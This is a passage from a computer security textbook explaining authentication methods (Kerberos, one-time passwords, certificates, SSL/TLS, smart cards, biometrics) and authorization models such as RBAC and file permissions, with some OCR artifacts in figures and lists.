
NOTE Typically, both the AS and the Ticket Granting Service (TGS) are part of the same server, as is the
Key Distribution Center (KDC).The KDC is a centralized database of user account information,
including passwords. Each Kerberos realm maintains at least one KDC (a realm being a logical
collection of servers and clients, comparable to a Windows domain).

3. The KDC checks the timestamp from the workstation against its own time. The

difference must be no more than the authorized time skew (which is five minutes,
by default). If the time difference is greater, the request is rejected.

. The KDC, since it maintains a copy of the user’s password, can use the password to

encrypt the plaintext copy of the timestamp and compare the result to the
authenticator. If the results match, the user is authenticated, and a ticket-granting
ticket (TGT) is returned to the client—this is the KRB_AS_REP message.

. The client sends the TGT to the KDC with a request for the use of a specific

resource, and it includes a fresh authenticator. The request might be for resources
local to the client computer or for network resources. This is the KRB_TGS_REQ
message, and it is handled by the TGS.
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6. The KDC validates the authenticator and examines the TGT. Since it originally
signed the TGT by encrypting a portion of the TGT using its own credentials, it can
verify that the TGT is one of its own. Since a valid authenticator is present, the TGT
is also less likely to be a replay. (A captured request would most likely have an
invalid timestamp by the time it is used—one that differs by more than the skew
time from the KDC'’s clock.)

7. If all is well, the KDC issues a service ticket for the requested resource—this is the
KRB_TGS_REP message. Part of the ticket is encrypted using the credentials of the
service (perhaps using the password for the computer account on which the service
lies), and part of the ticket is encrypted with the credentials of the client.

8. The client can decrypt its part of the ticket and thus knows what resource it may
use. The client sends the ticket to the resource computer along with a fresh
authenticator. (During initial logon, the resource computer is the client computer,
and the service ticket is used locally.)

9. The resource computer (the client) validates the timestamp by checking whether
the time is within the valid period, and then decrypts its portion of the ticket. This
tells the computer which resource is requested and provides proof that the client
has been authenticated. (Only the KDC would have a copy of the computer’s
password, and the KDC would not issue a ticket unless the client was authenticated.)
The resource computer (the client) then uses an authorization process to determine
whether the user is allowed to access the resource.

In addition to the authenticator and the use of computer passwords to encrypt ticket
data, other Kerberos controls can be used. Tickets can be reused, but they are given an
expiration date. Expired tickets can possibly be renewed, but the number of renewals can
also be controlled.

In most implementations, however, Kerberos relies on passwords, so all the normal
precautions about password-based authentication systems apply. If the user’s password can
be obtained, it makes no difference how strong the authentication system is—the account is
compromised. However, there are no known successful attacks against Kerberos data
available on the network. Attacks must be mounted against the password database, or
passwords must be gained in an out-of-bounds attack (social engineering, accidental
discovery, and so on).

One-Time Password Systems
Two problems plague passwords. First, they are (in most cases) created by people. Thus,
people need to be taught how to construct strong passwords, and most people aren’t taught
(or don’t care enough to follow what they’re taught). These strong passwords must also be
remembered and not written down, which means, in most cases, that long passwords cannot
be required. Second, passwords do become known by people other than the individual they
belong to. People do write passwords down and often leave them where others can find
them. People commonly share passwords despite all your warnings and threats.

Passwords are subject to a number of different attacks. They can be captured and
cracked, or used in a replay attack in which the passwords are intercepted and later used
to repeat authentication.
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One solution to this type of attack is to use an algorithm that requires the password to be
different every time it is used. In systems other than computers, this has been accomplished
with the use of a one-time pad. When two people need to send encrypted messages, if they
each have a copy of the one-time pad, each can use the day’s password, or some other
method for determining which password to use. The advantage, of course, to such a system
is that even if a key is cracked or deduced, it is only good for the current message. The next
message uses a different key.

How, then, can this be accomplished in a computer system? Two current methods that
use one-time passwords are time-based keys and sequential keys.

Time-Based Keys Time-based keys use hardware- or software-based authenticators that
generate a random seed based on the current time of day. Authenticators are either
hardware tokens (such as a key fob, card, or pinpad) or software. The authenticators
generate a simple one-time authentication code that changes every 60 seconds. The user
combines their personal identification number (PIN) and this code to create the password.
A central server can validate this password, since its clock is synchronized with the token
and it knows the user’s PIN. Since the authentication code changes every 60 seconds, the
password will change each time it’s used.

This system is a two-factor system since it combines the use of something you know, the
PIN, and something you have, the authenticator.

Sequential Keys Sequential key systems use a passphrase to generate one-time passwords.
The original passphrase, and the number representing how many passwords will be
generated from it, is entered into a server. The server generates a new password each time
an authentication request is made. Client software that acts as a one-time generator is used
on a workstation to generate the same password when the user enters the passphrase. Since
both systems know the passphrase, and both systems are set to the same number of times
the passphrase can be used, both systems can generate the same password independently.

The algorithm incorporates a series of hashes of the passphrase and a challenge. The
first time it is used, the number of hashes equals the number of times the passphrase may
be used. Each successive use reduces the number of hashes by one. Eventually, the number
of times the passphrase may be used is exhausted, and either a new passphrase must be set
or the old one must be reset.

When the client system issues an authentication request, the server issues a challenge.
The server challenge is a hash algorithm identifier (which will be MD5 or SHA-1), a
sequence number, and a seed (which is a cleartext character string of 1 to 16 characters).
Thus, a server challenge might look like this: optmd5 567 mydoghasfleas. The challenge is
processed by the one-time generator and the passphrase entered by the user to produce a
one-time password that is 64 bits in length. This password must be entered into the system;
in some cases this is automatically done, in others it can be cut and pasted, and in still other
implementations the user must type it in. The password is used to encrypt the challenge to
create the response. The response is then returned to the server, and the server validates it.

The steps for this process are as follows (illustrated in Figure 7-2):

1. The user enters a passphrase.
2. The client issues an authentication request.

3. The server issues a challenge.
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Client Server
2. Authentication request .

3. Challenge

A

6. Response to challenge in 3

8. Authenticated '

\ 4

1. User enters passphrase 4. Generator generates
password ]
4. Generator generates
password {0 % 7. Evaluation of response

5. Entry of password into system,
encryption

Figure 7-2 The S/Key one-time password process is a modified challenge and response
authentication system.

4. The generator on the client and the generator on the server generate the same
one-time password.

5. The generated password is displayed to the user for entry or is directly entered by
the system. The password is used to encrypt the response.

6. The response is sent to the server.

7. The server creates its own encryption of the challenge using its own generated
password, which is the same as the client’s. The response is evaluated.

8. If there is a match, the user is authenticated.

Sequential key systems, like other one-time password systems, do provide a defense
against passive eavesdropping and replay attacks. There is, however, no privacy of transmitted
data, nor any protection from session hijacking. A secure channel, such as IP Security (IPSec)
or Secure Shell (SSH), can provide additional protection. Other weaknesses of such a system
are in its possible implementations. Since the passphrase eventually must be reset, the
implementation should provide for this to be done in a secure manner. If this is not the case,
it may be possible for an attacker to capture the passphrase and thus prepare an attack on the
system. Sequential key implementation in some systems leaves the traditional login in place.
If users face the choice between using the traditional login and entering a complicated
passphrase and then a long, generated password, users may opt to use the traditional login,
thus weakening the authentication process.

Certificate-Based Authentication

A certificate is a collection of information that binds an identity (user, computer, service,
or device) to the public key of a public/private key pair. The typical certificate includes
information about the identity and specifies the purposes for which the certificate may
be used, a serial number, and a location where more information about the authority
that issued the certificate may be found. The certificate is digitally signed by the issuing
authority, the certificate authority (CA). The infrastructure used to support certificates in
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an organization is called the Public Key Infrastructure (PKI). More information on PKI
can be found in Chapter 10.

The certificate, in addition to being stored by the identity it belongs to, may itself be
broadly available. It may be exchanged in e-mail, distributed as part of some application’s
initialization, or stored in a central database of some sort where those who need a copy can
retrieve one. Each certificate’s public key has its associated private key, which is kept secret,
usually only stored locally by the identity. (Some implementations provide private key
archiving, but often it is the security of the private key that provides the guarantee of identity.)

An important concept to understand is that unlike symmetric key algorithms, where a
single key is used to both decrypt and encrypt, public/private key algorithms use two keys:
one key is used to encrypt, the other to decrypt. If the public key encrypts, only the related
private key can decrypt. If the private key encrypts, only the related public key can decrypt.

When certificates are used for authentication, the private key is used to encrypt or
digitally sign some request or challenge. The related public key (available from the
certificate) can be used by the server or a central authentication server to decrypt the
request. If the result matches what is expected, then proof of identity is obtained. Since the
related public key can successfully decrypt the challenge, and only the identity to which the
private key belongs can have the private key that encrypted the challenge, the message
must come from the identity. These authentication steps are as follows:

. The client issues an authentication request.
. A challenge is issued by the server.

1
2
3. The workstation uses its private key to encrypt the challenge.
4. The response is returned to the server.

5

. Since the server has a copy of the certificate, it can use the public key to decrypt the
response.

6. The result is compared to the challenge.

7. If there is a match, the client is authenticated.

Figure 7-3 illustrates this concept.

Client Server

1. Authentication request N

2. Challenge ‘ .
4. Response é

7. Authenticated '

3. Private key used to encrypt
the challenge and produce
the response

Figure 7-3 Certificate authentication uses public and private keys.

A

\ 4

5. Public key of client used
to decrypt response

6. Response compared to
challenge
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It is useful here to understand that the original set of keys is generated by the client, and
only the public key is sent to the CA. The CA generates the certificate and signs it using its
private key, and then returns a copy of the certificate to the user and to its database. In some
systems, another database also receives a copy of the certificate. It is the digital signing of the
certificate that enables other systems to evaluate the certificate for its authenticity. If they can
obtain a copy of the CA’s certificate, they can verify the signature on the client certificate
and thus be assured that the certificate is valid.

Two systems that use certificates for authentication are SSL./TLS and smart cards.

SSL/TLS

Secure Sockets Layer (SSL) is a certificate-based system that is used to provide authentication
of secure web servers and clients and to share encryption keys between servers and clients.
Transport Layer Security (TLS) is the Internet standard version (RFC 2246) of the proprietary
SSL. While both TLS and SSL perform the same function, they are not compatible—a server
that uses SSL cannot establish a secure session with a client that only uses TLS. Applications
must be made SSL- or TLS-aware before one or the other system can be used.

NOTE While the most common implementation of SSL provides for secure communication and server
authentication, client authentication may also be implemented. Clients must have their own
certificate for this purpose, and the web server must be configured to require client authentication.

In the most commonly implemented use of SSL, an organization obtains a server SSL
certificate from a public CA, such as VeriSign, and installs the certificate on its web server.
The organization could produce its own certificate, from an in-house implementation of
certificate services, but the advantage of a public CA certificate is that a copy of the CA’s
certificate is automatically a part of Internet browsers. Thus, the identity of the server can be
proven by the client. The authentication process (illustrated in Figure 7-4) works like this:

. The user enters the URL for the server in the browser.
. The client request for the web page is sent to the server.

1
2
3. The server receives the request and sends its server certificate to the client.
4

. The client’s browser checks its certificate store for a certificate from the CA that
issued the server certificate.

5. If the CA certificate is found, the browser validates the certificate by checking the
signature on the server’s certificate using the public key provided on the CA’s
certificate.

6. If this test is successful, the browser accepts the server certificate as valid.

7. A symmetric encryption key is generated and encrypted by the client, using the
server’s public key.

8. The encrypted key is returned to the server.

9. The server decrypts the key with the server’s own private key. The two computers
now share an encryption key that can be used to secure communications between
the two of them.
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Client Server
2. Request to web server for page R .
3. Server certificate to client
8. Encrypted key to server '
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Figure 7-4 SSL can be used for server authentication and to provide secure communications between
a web server and a client.

There are many potential problems with this system:

¢ Unless the web server is properly configured to require the use of SSL, the server
is not authenticated to the client, and normal, unprotected communication can
occur. The security relies on the user using the https:// designation instead of
http:// in their URL entry.

¢ If the client does not have a copy of the CA’s certificate, the server will offer to
provide one. While this ensures that encrypted communication between the client
and the server will occur, it does not provide server authentication. The security of
the communication relies on the user refusing to connect with a server that cannot
be identified by a third party.

¢ The process for getting a CA certificate in the browser’s store is not well controlled.
In the past, it may have been a matter of paying a fee or depended on who you knew.
Microsoft now requires that certificates included in its browser store are from CAs
that pass an audit.

® Protection of the private key is paramount. While the default implementations only
require that the key be in a protected area of the system, it is possible to implement
hardware-based systems that require the private key to be stored only on a hardware
device.
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® As with any PKI-based system, the decision to provide a certificate to an organization
for use on its web server is based on policies written by people, and a decision is
made by people. Mistakes can be made. An SSL certificate that identifies a server as
belonging to a company might be issued to someone who does not represent that
company. And even though a certificate has expired, or another problem is
discovered and a warning is issued, many users will just ignore the warning and
continue on.

Smart Cards and Other Hardware-Based Devices

The protection of the private key is paramount in certificate-based authentication systems.
If an attacker can obtain the private key, they can spoof the identity of the client and
authenticate. Implementations of these systems do a good job of protecting the private key,
but, ultimately, if the key is stored on the computer, there is potential for compromise.

A better system would be to require that the private key be protected and separate from
the computer. Smart cards can be used for this purpose. While there are many types of
smart cards, the ones used for authentication look like a credit card but contain a computer
chip that is used to store the private key and a copy of the certificate, as well as to provide
processing. Care should be taken to select the appropriate smart card for the application
that will use them. Additional hardware tokens can be USB based and serve similar
purposes. Smart cards require special smart card readers to provide communication
between the smart cards and the computer system.

In a typical smart card implementation, the following steps are used to authenticate
the client:

1. The user inserts the smart card into the reader (or moves it close to the scanner).

2. The computer-resident application responds by prompting the user for their
unique PIN. (The length of the PIN varies according to the type of smart card.)

3. The user enters their PIN.

4. If the PIN is correct, the computer application can communicate with the smart
card. The private key is used to encrypt some data. This data may be a challenge,
or it may be the timestamp of the client computer. The encryption occurs on the
smart card.

5. The encrypted data is transferred to the computer and possibly to a server on the
network.

6. The public key (the certificate can be made available) is used to decrypt the data.
Since only the possessor of the smart card has the private key, and because a valid
PIN must be entered to start the process, successfully decrypting the data means
the user is authenticated.

The use of smart cards to store the private key and certificate solves the problem of
protecting the keys. However, user training must be provided so that users do not tape a
written copy of their PIN to their smart card, or otherwise make it known. As in more
traditional authentication systems, it is the person who possesses the smart card and PIN
who will be identified as the user.
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Smart cards are also extremely resistant to brute-force and dictionary attacks, since a
small number of incorrect PIN entries will render the smart card useless for authentication.
Additional security can be gained by requiring the presence of the smart card to maintain
the session. The system can be locked when the smart card is removed. Users leaving for
any amount of time can simply remove their card, and the system is locked against any
individual who might be able to physically access the computer. Users can be encouraged to
remove their cards by making it their employee ID badge and requiring the user to have
their ID at all times. This also ensures that the smart card will not be left overnight in the
user’s desk. Yearly certificate updates can be required to help keep the security up to date.

Problems with smart cards are usually expressed in terms of management issues. Issuing
smart cards, training users, justifying the costs, dealing with lost cards, and the like are all
problems. In addition, the implementation should be checked to ensure that systems can be
configured to require the use of a smart card. Some implementations allow the alternative
use of a password, which weakens the system because an attack only needs to be mounted
against the password—the additional security the smart card provides is eliminated by this
ability to go around it. To determine whether a proposed system has this weakness, examine
the documentation for this option, and look also for areas where the smart card cannot be
used, such as for administrative commands or secondary logons.

Extensible Authentication Protocol (EAP)

The Extensible Authentication Protocol (EAP) was developed to allow pluggable modules to
be incorporated in an overall authentication process. This means authentication interfaces
and basic processes can all remain the same, while changes can be made to the acceptable
credentials and the precise way that they are manipulated. Once EAP is implemented in a
system, new algorithms for authentication can be added as they are developed, without
requiring huge changes in the operating system. EAP is currently implemented in several
remote access systems, including Remote Authentication Dial-In User Service (RADIUS).

Authentication modules used with EAP are called EAP types. Several EAP types exist, with
the name indicating the type of authentication used:

e EAP/TLS Uses the TLS authentication protocol and provides the ability to use
smart cards for remote authentication.

e EAP/MD5-CHAP Allows the use of passwords by organizations that require
increased security for remote wireless 802.1x authentication but that do not have
the PKI to support passwords.

Biometrics

In biometric methods of authentication, the “something you have” is something that is
physically part of you. Biometric systems include the use of facial recognition and
identification, retinal scans, iris scans, fingerprints, hand geometry, voice recognition, lip
movement, and keystroke analysis. Biometric devices are commonly used today to provide
authentication for access to computer systems and buildings, and even to permit pulling a
trigger on a gun. In each case, the algorithm for comparison may differ, but a body part is
examined and a number of unique points are mapped for comparison with stored mappings
in a database. If the mappings match, the individual is authenticated.
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The process hinges on two things: first, that the body part examined can be said to be
unique, and second, that the system can be tuned to require enough information to establish
a unique identity and not result in a false rejection, while not requiring so little information
as to provide false positives. All of the biometrics currently in use have been established
because they represent characteristics that are unique to individuals. The relative accuracy of
each system is judged by the number of false rejections and false positives that it generates.

In addition to false negatives and false positives, biometrics live under the shadow,
popularized by the entertainment industry, of malicious attackers cutting body parts from
the real person and using them to authenticate to systems.

Other attacks on fingerprint systems have also been demonstrated—one such is the
gummy finger attack. In May of 2002, Tsutomu Matsumoto, a graduate student of environment
and information science at Yokohama National University, obtained an imprint of an
audience member’s finger and prepared a fake finger with the impression. He used about
$10 of commonly available items to produce something the texture of the candy gummy
worms. He then used the “gummy finger” to defeat ten different commercial fingerprint
readers. While this attack would require access to the individual’s finger, another similar
attack was demonstrated in which Matsumoto used latent fingerprints from various surfaces.
This attack was also successful. These attacks not only defeat systems most people believe to
be undefeatable, but after the attack, you can eat the evidence!

Additional Uses for Authentication

Here are some additional uses for authentication:

¢ Computer authenticating to a central server upon boot In Windows, client
computers are joined in the domain login at boot and receive security policy.
Wireless networks may also require some computer credentials before the
computer is allowed to have access to the network.

¢ Computer establishing a secure channel for network communication Examples of
this are SSH and IPSec. More information on these two systems is included in the
following sections.

e Computer requesting access to resources This may also trigger a request for
authentication. More information can be found in the “Authorization” section
later in this chapter.

SSH

Secure Shell (SSH) is available for most versions of Unix as well as for Windows systems.
SSH provides a secure channel for use in remote administration. Traditional Unix tools do
not require protected authentication, nor do they provide confidentiality, but SSH does.

IPSec

IP Security, commonly referred to as IPSec, is designed to provide a secure communication
channel between two devices. Computers, routers, firewalls, and the like can establish IPSec
sessions with other network devices. IPSec can provide confidentiality, data authentication,
data integrity, and protection from replay. Multiple RFCs describe the standard.

Many implementations of IPSec exist, and it is widely deployed in virtual private
networks (VPNs). It can also be used to secure communication on LANs or WANs between
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two computers. Since it operates between the network and transport layers in the network
stack, applications do not have to be aware of IPSec. IPSec can also be used to simply block
specific protocols, or communication from specific computers or IP address block ranges.
When used between two devices, mutual authentication from device to device is required.
Multiple encryption and authentication algorithms can be supported, as the protocol was
designed to be flexible.

Authorization

The counterpart to authentication is authorization. Authentication establishes who the user
is; authorization specifies what that user can do. Typically thought of as a way of establishing
access to resources, such as files and printers, authorization also addresses the suite of
privileges that a user may have on the system or on the network. In its ultimate use,
authorization even specifies whether the user can access the system at all. There are a
variety of types of authorization systems, including user rights, role-based authorization,
access control lists, and rule-based authorization.

NOTE Authorization is most often described in terms of users accessing resources such as files or
exercising privileges such as shutting down the system. However, authorization is also specific to
particular areas of the system. For example, many operating systems are divided into user space and
kernel space, and the ability of an executable to run in one space or the other is strictly controlled. To
run within the kernel, the executable must be privileged, and this right is usually restricted to native
operating system components.

User Rights

Privileges or user rights are different from permissions. User rights provide the authorization
to do things that affect the entire system. The ability to create groups, assign users to groups,
log in to a system, and many more user rights can be assigned. Other user rights are implicit
and are rights that are granted to default groups—groups that are created by the operating
system instead of by administrators. These rights cannot be removed.

In the typical implementation of a Unix system, implicit privileges are granted to the root
account. This account is authorized to do anything on the system. Users, on the other hand,
have limited rights, including the ability to log in, access certain files, and run applications
they are authorized to execute.

On some Unix systems, system administrators can grant certain users the right to use
specific commands as root, without issuing them the root password. An application that can
do this, and which is in the public domain, is called sudo.

Role-Based Authorization (RBAC)

Each job within a company has a role to play. Each employee requires privileges (the right to
do something) and permissions (the right to access particular resources and do specified
things with them) if they are to do their job. Early designers of computer systems recognized
that the needs of possible users of systems would vary, and that not all users should be given the
right to administer the system.
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Two early roles for computer systems were those of user and administrator. Early systems
defined roles for these types of users to play and granted them access based on their
membership in one of these two groups. Administrators (superusers, root, admins, and the
like) were granted special privileges and allowed access to a larger array of computer
resources than were ordinary users. Administrators, for example, could add users, assign
passwords, access system files and programs, and reboot the machine. Ordinary users could
log in and perhaps read data, modify it, and execute programs. This grouping was later
extended to include the role of auditor (a user who can read system information and
information about the activities of others on the system, but not modify system data or
perform other administrator role functions).

As systems grew, the roles of users were made more granular. Users might be quantified
by their security clearance, for example, and allowed access to specified data or allowed to
run certain applications. Other distinctions might be made based on the user’s role in a
database or other application system. Commonly, roles are assigned by departments such as
Finance, Human Resources, Information Technology, and Sales.

In the simplest examples of these role-based systems, users are added to groups that
have specific rights and privileges. Other role-based systems use more complex systems of
access control, including some that can only be implemented if the operating system is
designed to manage them. In the Bell-LaPadula security model (described in Chapter 20),
for example, data resources are divided into layers, or zones. Each zone represents a data
classification, and data may not be moved from zone to zone without special authorization,
and a user must be provided access to the zone to use the data. In that role, the user may
not write to a zone lower in the hierarchy (from secret to confidential, for example), nor
may they read data in a higher level than they have access to (a user granted access to the
public zone, for example, may not read data in the confidential or secret zones).

The Unix role-based access control (RBAC) facility can be used to delegate administrative
privileges to ordinary users. It works by defining role accounts, or accounts that can be used
to perform certain administrative tasks. Role accounts are not accessible to normal logons—
they can only be accessed with the su command (as described in Chapter 21).

Access Control Lists (ACLs)

Attendance at some social events is limited to invitees only. To ensure that only invited
guests are welcomed to the party, a list of authorized individuals may be provided to those
who permit the guests in. If you arrive, the name you provide is checked against this list,
and entry is granted or denied. Authentication, in the form of a photo identification check,
may or may not play a part here, but this is a good, simple example of the use of an access
control list (ACL).

Information systems may also use ACLs to determine whether the requested service or
resource is authorized. Access to files on a server is often controlled by information that is
maintained on each file. Likewise, the ability for different types of communication to pass a
network device can be controlled by ACLs.

File-Access Permissions

Both Windows and Unix systems use file permissions to manage access to files. The
implementation varies, but it works well for both systems. It is only when you require
interoperability that problems arise in ensuring that proper authorization is maintained
across platforms.
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Windows File-Access Permissions The Windows NTFS file system maintains an ACL
for each file and folder. The ACL is composed of a list of access control entries (ACEs).
Each ACE includes a security identifier (SID) and the permission(s) granted to that SID.
Permissions may be either access or deny, and SIDs may represent user accounts, computer
accounts, or groups. ACEs may be assigned by administrators, owners of the file, or users
with the permission to apply permissions.
Part of the login process is the determination of the privileges and group memberships
for the specific user or computer. A list is composed that includes the user’s SID, the SIDs
of the groups of which the user is a member, and the privileges the user has. When a
connection to a computer is made, an access token is created for the user and attached to
any running processes the user may start on that system.
Permissions in Windows systems are very granular. The permissions listed in Table 7-1
actually represent sets of permissions, but the permissions can be individually assigned as well.
When an attempt to access a resource is made, the security subsystem compares the list
of ACEs on the resource to the list of SIDs and privileges in the access token. If there is a
match, both of SID and access right requested, authorization is granted unless the access
authorization is “deny.” Permissions are cumulative (that is, if the read permission is
granted to a user and the write permission is granted to a user, then the user has the read

Permission

If Granted on Folders

If Granted on Files

Full Control

All permissions

All permissions

Modify

List folder, read and modify
permissions and attributes on the
folder, delete the folder, add files to
the folder

Read, execute, change, and
delete files and file attributes

Read and Execute

List folder contents, read information
on the folder including permissions
and attributes

Read and execute the file;
read information on the file,
including permissions and
attributes

List Folder Contents

Traverse folder (look and see folders
within it), execute files in the folder,
read attributes, list folders in the
folder, read data, list the files within
the folder

N/A

attributes, write permissions

Read List folder, read attributes, read Read the file, read attributes
permissions
Write Create files, create folders, write Write data to the file,

append data to the file, write
permissions and attributes

Special Permissions*

A granular selection of permissions

A granular selection of
permissions

*These permissions do not match the permission groupings indicated. Each permission listed in the table can

be applied separately.
Table 7-1

Windows File Permissions
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and write permission), but the presence of a deny authorization will result in denial, even
in the case of an access permission. The lack of any match results in an implicit denial.

It should be noted that file permissions and other object-based permissions in Windows
can also be supplemented by permissions on shared folders. That is, if a folder is directly
accessible from the network because of the Server Message Block (SMB) protocol, permissions
can be set on the folder to control access. These permissions are evaluated along with the
underlying permissions set directly on the folder using the NTFS permission set. In the case
where there is a conflict between the two sets of permissions, the most restrictive permission
wins. For example, if the share permission gives Read and Write permission to the Accountants
group, of which Alice is a member, but the underlying folder permission denies Alice access,
then Alice will be denied access to the folder.

Unix File-Access Permissions Traditional Unix file systems do not use ACLs. Instead,
files are protected by limiting access by user account and group. If you want to grant read
access to a single individual in addition to the owner, for example, you cannot do so. If you
want to grant read access to one group and write access to another, you cannot. This lack of
granularity is countered in some Unix systems (such as Solaris) by providing ACLs, but
before we look at that system, we’ll examine the traditional file protection system.

Information about a file, with the exception of the filename, is included in the inode.
The file inode contains information about the file, including the user ID of the file’s owner,
the group to which the file belongs, and the file mode, which is the set of read /write/execute
permissions.

File permissions are assigned to control access, and they consist of three levels of access:
Owner, Group, and all others. Owner privileges include the right to determine who can
access the file and read it, write to it, or, if it is an executable, execute it. There is little
granularity to these permissions. Directories can also have permissions assigned to Owner,
Group, and all others. Table 7-2 lists and explains the permissions.

ACLs are offered in addition to the traditional Unix file protection scheme. ACEs can
be defined on a file and set through commands. These commands include information
on the type of entry (the user or the ACL mask), the user ID (UID), group ID (GID), and
the perms (permissions). The mask entry specifies the maximum permissions allowed for
users (not including the owner) and groups. Even if an explicit permission has been
granted for write or execute permission, if an ACL mask is set to read, read will be the
only permission granted.

Permission File users may... Directory user may...
Read Open and read contents of the file List files in the directory
Write Write to the file and modify, delete, | Add or remove files or links in the
or add to its contents directory
Execute Execute the program Open or execute files in the directory;

make the directory and the directories
beneath it current

Denied Do nothing Do nothing

Table 7-2 Traditional Unix File Permissions
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ACLs for Network Devices

ACLs are used by network devices to control access to networks and to control the type of
access granted. Specifically, routers and firewalls may have lists of access controls that specify
which ports on which computers can be accessed by incoming communications, or which
types of traffic can be accepted by the device and routed to an alternative network. Additional
information on ACLs used by network devices can be found in Chapters 13 and 14.

Rule-Based Authorization

Rule-based authorization requires the development of rules that stipulate what a specific
user can do on a system. These rules might provide information such as “User Alice can
access resource Zbut cannot access resource D.” More complex rules specify combinations,
such as “User Bob can read file P only if he is sitting at the console in the data center.” In a
small system, rule-based authorization may not be too difficult to maintain, but in larger
systems and networks, it is excruciatingly tedious and difficult to administer.

Compliance with Standards

If you are following a specific security framework, here’s how NIST, ISO 27002, and COBIT
tie in to this chapter.

NIST

NIST offers several publications relating to authentication:
e SP 800-120: Recommendation for EAP Methods Used in Wireless Network Access
Authentication
e SP 800-63: Electronic Authentication Guideline

e SP 800-38B: Recommendation for Block Cipher Modes of Operation: The CMAC
Mode for Authentication

e SP 800-38C: Recommendation for Block Cipher Modes of Operation: The CCM
Mode for Authentication and Confidentiality

e SP 800-25: Federal Agency Use of Public Key Technology for Digital Signatures and
Authentication

ISO 27002

ISO 27002 contains the following provisions, to which this chapter’s contents are relevant:

e 11.2.1 Formal user registration and deregistration procedures are used for
granting access to information systems and services.

e 11.2.2 Allocation and use of privileges in information systems is restricted and
controlled and allocated on a need-to-use basis only after formal authorization process.
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e 11.2.3 Allocation and reallocation of passwords is controlled through a formal
management process.

* 11.2.4 A process is used to review user access rights at regular intervals.

e 11.3.1 Guidelines are in place to advise users on selecting and maintaining secure
passwords.

* 11.4.2 Authentication mechanisms are used for challenging external connections
such as cryptography-based techniques, hardware tokens, software tokens, and
challenge/response protocols.

e 11.5.2 Unique identifiers are provided to every user and the authentication method
substantiates the claimed identity of the user.

e 11.5.3 A password management system enforces password controls, including
enforcement of password changes, storage of passwords in encrypted form, and
avoidance of onscreen display of passwords.

COBIT

COBIT contains the following provisions, to which this chapter’s contents are relevant.
DS5.3:

¢ Ensure that all users and their activity on IT systems are uniquely identifiable.
* Enable user identities via authentication mechanisms.

¢ Confirm that user access rights to systems and data are in line with defined and
documented business needs and that job requirements are attached to user
identities.

¢ Ensure that user access rights are requested by user management, approved by
system owners, and implemented by the security-responsible person.

® Maintain user identities and access rights in a central repository.

® Deploy cost-effective technical and procedural measures, and keep them current to
establish user identification, implement authentication, and enforce access rights.

Summary

Authentication is the process of proving you are who you say you are. You can take that
literally. If someone possesses your user credentials, it is possible for that person to say they
are you, and to prove it to the satisfaction of the system. While many modern systems are
based on hardware, such as tokens and smart cards, and on processes that can be assumed
to be more secure, such as one-time passwords, most systems still rely on passwords for
authentication. These systems are not well protected, because passwords are a terrible way
to identify people. Other authentication methods are better. You should always evaluate an
authentication system based on how easy it would be to defeat its controls.
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Authorization, on the other hand, determines what an authenticated user can do on

the system or network. A number of controls exist that can help define these rights of
access explicitly. User rights are often provided directly by the operating system, either via
permissions granted to the user account directly, or through the use of groups. If the user
account belongs to a particular group, it is granted rights to do certain things. This method
of authorization, while commonly found in most organizations, is not easy to manage and
has a high potential for error. Role-based access controls are similar to group authorization,
but they are organized into sets of functions based on some key common characteristic.
Access control lists, in which specific, granular capabilities are individually specified, are
also used to authorize functions.
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CHAPTER

Securing Unstructured Data

Chapter 11 discusses the subject of securing data storage—how security can be applied to
the specific locations where data resides. That chapter focuses on the static state of data
(information) on a hard disk or in a database, but in the high-bandwidth, mobile, and
networked environments in which we work and live, information rarely stays in one place.
In a matter of microseconds, information can be distributed to many locations and people
around the world. In order to secure this data, we must look beyond the simple confines of
where information can be stored and think more about Aow it is stored or, more accurately
for this chapter, how it is formatted.

Information is typically categorized as being in either a structured format or an
unstructured format. The meaning of these terms is subject to different interpretations by
divergent groups, so first we’ll address their meaning in the context of our discussion of
securing unstructured data. It also makes sense to think in terms of which of three different
states data is currently residing: at rest, in transit, or in use. We’ll discuss that second.
Finally, we’ll get to the primary focus of the chapter, the different approaches to securing
unstructured data.

Structured Data vs. Unstructured Data

For purposes of this book, we are not going to get into a detailed discussion about whether,
for example, the unstructured Excel spreadsheet actually contains very structured data. In
classic terms, structured data is data that conforms to some sort of strict data model and is
confined by that model. The model might define a business process that controls the flow
of information across a range of service-oriented architecture (SOA) systems, for example,
or it might define how data is stored in an array in memory. But for most I'T and security
professionals, structured data is the information that lives in the database and is organized
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based on the database schema and associated database rules. This means two important
things to you as a security professional:

¢ Databases reside within a data center that is surrounded by brick walls, metal cages,
network firewalls, and other security mechanisms that allow you to control access to
the data.

¢ The data itself is structured in a manner that typically allows for easy classification
of the data. For example, you can identify a specific person’s medical record in a
database and apply security controls accordingly.

So, because you know what structured data looks like and where it resides, you have
tight control over who can access it. Security controls are relatively easy to define and apply
to structured data using either the built-in features of the structure or third-party tools
designed for the specific structure.

By contrast, unstructured data is much more difficult to manage and secure. Unstructured
data can live anywhere, in any format, and on any device, and can move across any network.
Consider, for example, a patient record that is extracted from the database, displayed in a
web page, copied from the web page into a spreadsheet, attached to an e-mail, and then
e-mailed to another location. Simply describing the variety of networks, servers, storage,
applications, and other methods that were used to move the information beyond the
database could take an entire chapter.

Unstructured data has no strict format. Of course, our Word documents, e-mails, and so
on conform to standards that define their internal structure; however, the data contained
within them has few constraints. Returning to the example of the patient record, suppose a
user copies it from the web page into the spreadsheet after altering its contents, maybe
removing certain fields and headers. As this information flows from one format to another,
its original structure has been effectively changed.

Figure 8-1 depicts some examples of how data can move around between different
locations, applications, and formats.

SharePoint

File Shares Laptops &

Mobiles

. =

|X

Intranet &
Extranet

j Adobe

P .IZ.Z \ -

=

Figure 8-1 Unstructured data doesn’t respect security boundaries.

www.it-ebooks.info


http://www.it-ebooks.info/

Chapter 8  Securing Unstructured Data 193

Securing information when stored as structured data is relatively straightforward. But as
a piece of information from the structured world moves into the unstructured world—in
different file formats, across networks you didn’t expect it to traverse, stored in places you
can’t control—you have less control. Doesn’t sound good? Consider the fact that many
analysts say 80 percent or more of digital information in an organization is unstructured,
and that the amount of unstructured data is growing at a rate 10 to 20 times the rate of
structured data. Also consider the constant stream of news articles highlighting theft of
intellectual property, accidental loss of information, and malicious use of data, all with
unstructured data at the core of the problem. In 2010, the worldwide total of unstructured
data was estimated at roughly 1 million petabytes (1,048,576,000,000 GB) and is considered
to be increasing at a rate of 25 percent a year. We clearly need to understand how we can
secure unstructured data.

At Rest, in Transit, and in Use

Unstructured data can be in one of three states at any given time. It can be at rest, sitting
quietly on a storage device. It can also be in transit (sometimes referred to as “in flight”),
